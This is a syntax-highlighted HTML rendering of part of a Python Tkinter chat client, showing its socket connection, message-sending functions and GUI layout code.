&lt;span style=&quot;color: #f8f8f2&quot;&gt;BUTTON_FONT&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Arial&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;SMALL_FONT&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Arial&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ae81ff&quot;&gt;13&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e&quot;&gt;# Creating a socket object&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;# AF_INET: we are going to use IPv4 addresses&lt;/span&gt;
&lt;span style=&quot;color: #75715e&quot;&gt;# SOCK_STREAM: we are using TCP packets for communication&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;client&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;socket(socket&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;AF_INET,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;SOCK_STREAM)&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e&quot;&gt;add_message&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(message):&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2&quot;&gt;message_box&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;config(state&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;NORMAL)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2&quot;&gt;message_box&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;insert(tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;END,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;message&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2&quot;&gt;message_box&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;config(state&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;DISABLED)&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e&quot;&gt;connect&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;():&lt;/span&gt;

    &lt;span style=&quot;color: #75715e&quot;&gt;# try except block&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;

        &lt;span style=&quot;color: #75715e&quot;&gt;# Connect to the server&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2&quot;&gt;client&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;connect((HOST,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;PORT))&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2&quot;&gt;print(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Successfully connected to server&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2&quot;&gt;add_message(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;[SERVER] Successfully connected to the server&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef&quot;&gt;except&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2&quot;&gt;messagebox&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;showerror(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Unable to connect to server&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Unable to connect to server {HOST} {PORT}&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

    &lt;span style=&quot;color: #f8f8f2&quot;&gt;username&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;username_textbox&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;get()&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;username&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2&quot;&gt;client&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;sendall(username&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;encode())&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2&quot;&gt;messagebox&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;showerror(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Invalid username&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Username cannot be empty&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

    &lt;span style=&quot;color: #f8f8f2&quot;&gt;threading&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;Thread(target&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;listen_for_messages_from_server,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(client,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;start()&lt;/span&gt;

    &lt;span style=&quot;color: #f8f8f2&quot;&gt;username_textbox&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;config(state&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;DISABLED)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2&quot;&gt;username_button&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;config(state&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;DISABLED)&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e&quot;&gt;send_message&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;():&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2&quot;&gt;message&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;message_textbox&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;get()&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;message&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2&quot;&gt;client&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;sendall(message&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;encode())&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2&quot;&gt;message_textbox&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;delete(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;len(message))&lt;/span&gt;
    &lt;span style=&quot;color: #66d9ef&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
        &lt;span style=&quot;color: #f8f8f2&quot;&gt;messagebox&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;showerror(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Empty message&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Message cannot be empty&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;root&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;Tk()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;root&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;geometry(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;600x600&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;root&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;title(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Messenger Client&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;root&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;resizable(&lt;/span&gt;&lt;span style=&quot;color: #66d9ef&quot;&gt;False&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #66d9ef&quot;&gt;False&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;root&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;grid_rowconfigure(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;weight&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;root&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;grid_rowconfigure(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;weight&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;root&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;grid_rowconfigure(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;weight&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;top_frame&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;Frame(root,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;600&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;height&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;bg&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;DARK_PURPLE)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;top_frame&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;grid(row&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;column&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;sticky&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;NSEW)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;middle_frame&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;Frame(root,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;600&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;height&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;400&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;bg&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;MEDIUM_PURPLE)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;middle_frame&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;grid(row&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;column&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;sticky&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;NSEW)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;bottom_frame&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;Frame(root,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;600&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;height&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;bg&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;DARK_PURPLE)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;bottom_frame&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;grid(row&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;column&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;sticky&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;NSEW)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;username_label&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;Label(top_frame,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;^&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;font&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;Webdings&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;17&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;),&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;bg&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;DARK_PURPLE,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;fg&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;WHITE)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;username_label&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;pack(side&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;LEFT,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;padx&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2&quot;&gt;username_label&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;Label(top_frame,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;Enter Username:&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;font&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;FONT,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;bg&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;DARK_PURPLE,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;fg&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;WHITE)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2&quot;&gt;username_label&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;pack(side&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;tk&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;LEFT,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;padx&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #ae81ff&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;

